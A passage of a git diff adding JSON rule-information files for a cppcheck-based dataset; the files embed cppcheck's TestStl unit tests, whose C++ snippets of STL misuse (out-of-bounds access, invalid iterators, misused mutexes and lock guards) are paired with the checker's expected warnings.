dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/invalidContainer.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/invalidContainer.json new file mode 100644 index 0000000..693d498 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/invalidContainer.json @@ -0,0 +1,22 @@ +{ + "name": "invalidContainer", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 110, + "branches": 33, + "apis": 111, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 6083 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", 